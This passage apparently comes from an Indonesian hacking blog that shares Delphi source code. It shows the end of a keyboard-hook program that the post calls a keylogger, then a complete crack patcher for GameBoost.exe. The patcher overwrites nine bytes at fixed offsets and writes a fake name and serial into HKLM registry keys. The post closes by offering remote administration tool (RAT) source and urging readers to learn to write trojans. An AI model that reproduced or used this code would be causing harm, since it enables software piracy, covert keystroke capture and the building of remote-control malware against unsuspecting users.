        MessageBox(Handle,'Failed','Error',MB_ICONHAND)
     else begin
         hHk:=0;
         Button1.Enabled:=True;
     end;
end;
procedure TfrmHook.Button1Click(Sender: TObject);
begin
      hHk:=HookKeyboard(Handle,MSG_KBD);
      if hHk=0 then MessageBox(Handle,'Failed','Error',MB_ICONERROR)
        else begin
        Button1.Enabled:=False;
      end;
end;
end.

Making Patcher + Back-Up + Write Registry + Target

unit Unit1;
interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, ExtCtrls, Registry;

type
  TForm1 = class(TForm)
    Bevel1: TBevel;
    Label1: TLabel;
    Edit1: TEdit;
    Label2: TLabel;
    Edit2: TEdit;
    Label3: TLabel;
    Edit3: TEdit;
    Button1: TButton;
    Button2: TButton;
    Memo1: TMemo;
    Label4: TLabel;
    OpenDialog1: TOpenDialog;
    procedure Button2Click(Sender: TObject);
    procedure Button1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
  myReg: TRegistry;
  public
    { Public declarations }
  end;
var
  Form1: TForm1;

implementation
{$R *.dfm}

procedure BackupFile(const FileName, BackupExt: string; const BackupConfirm: boolean);
begin
CopyFile(PChar(FileName),                      //copy software
PChar(ChangeFileExt(FileName, BackupExt)),false);
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
application.Terminate;
end;

procedure TForm1.Button1Click(Sender: TObject);
Const                     // we declare constants
    FileN         : String  = 'Target --> GameBoost.exe';
    FileS         : LongInt = 3729096;
    BytesToChange : Integer = 9;         // number of bytes to amend
        A             : Array[1..9] of Record      // By changing 2 bytes
      A : Longint;               // length limit 2147483647
      B : Byte;                  // limit of 255 bytes
      End =                  // end statements
(
(A:$0014F3F4;B:$EB),
(A:$0014F3F5;B:$56),
(A:$0014F3F6;B:$90),
(A:$0014F3F7;B:$90),
(A:$0014F3F8;B:$90),
(A:$0014F3F9;B:$90),
(A:$0014F3FA;B:$90),
(A:$0014F3FB;B:$90),
(A:$0014F52C;B:$EB)   //   Attention! on the last row => no comma!);
);
var
  F     : File;      // F for the file
  Ch    : Char;      // Ch octet for a patch
  I     : LongInt;   // and I for the length
begin
OpenDialog1.filename := '*.exe';      // Seeking an exe file
OpenDialog1.filter := FileN;      // file GameBoost.exe
if OpenDialog1.execute then         // if the file is found, then ...
begin
  AssignFile(F, OpenDialog1.filename);   // target file
  Reset(F,1);
  If FileSize(F)<>FileS then      //  if the file is a size <or> that indicated, then ...
     begin            // Opens a command
     showmessage('PATCHING ERROR - WRONG SIZE');   // displays the text as what it is not the right size
     end            // end of the function which measures the size 
     else            // if everything went well, then ... 
     begin            // Opens a command
BackupFile(OpenDialog1.FileName, '.bak', true);//create backup .bak....
  For I := 1 to BytesToChange do   // for I, I loop as many times there to make modification
     begin            // will indicate how 
     Seek(F,A[I].A);         //>
     Ch:=Char(A[I].B);         //>
     Blockwrite(F,Ch,1);      // registered bytes
     END;
  try
    myReg := TRegistry.Create;
    myReg.RootKey := HKEY_LOCAL_MACHINE;
    //myReg.RootKey := Combobox1.Items.add;<-------I need to use this somehow
    if myReg.OpenKey('Software\PGWARE\GameBoost\', TRUE) then
    begin
    myReg.WriteString('Name', 'RaY-29');
    myReg.WriteString('Serial', 't3am_cr4ck3r_b3kas1_und3rgr0und');
     end
    finally
    myReg.Free;
  showmessage('PATCHING DONE N ENJOY');   // Displays a message of success
end;
end;
end;
end;

end.

download source code-nya secara lengkap di sini:

Cold Fusion - Remote Administration Tool

download : download

Bagi yang pengen belajar coding RAT/Trojan/PC Remoter dengan bahasa pascal/delphi. coba gunakan source code ni sebagai referensi

credit by:xaintd snutz

ini adalah source code keylogger dengan bahasa Delphi/pascal

izzulkifly 20.41 2 komentar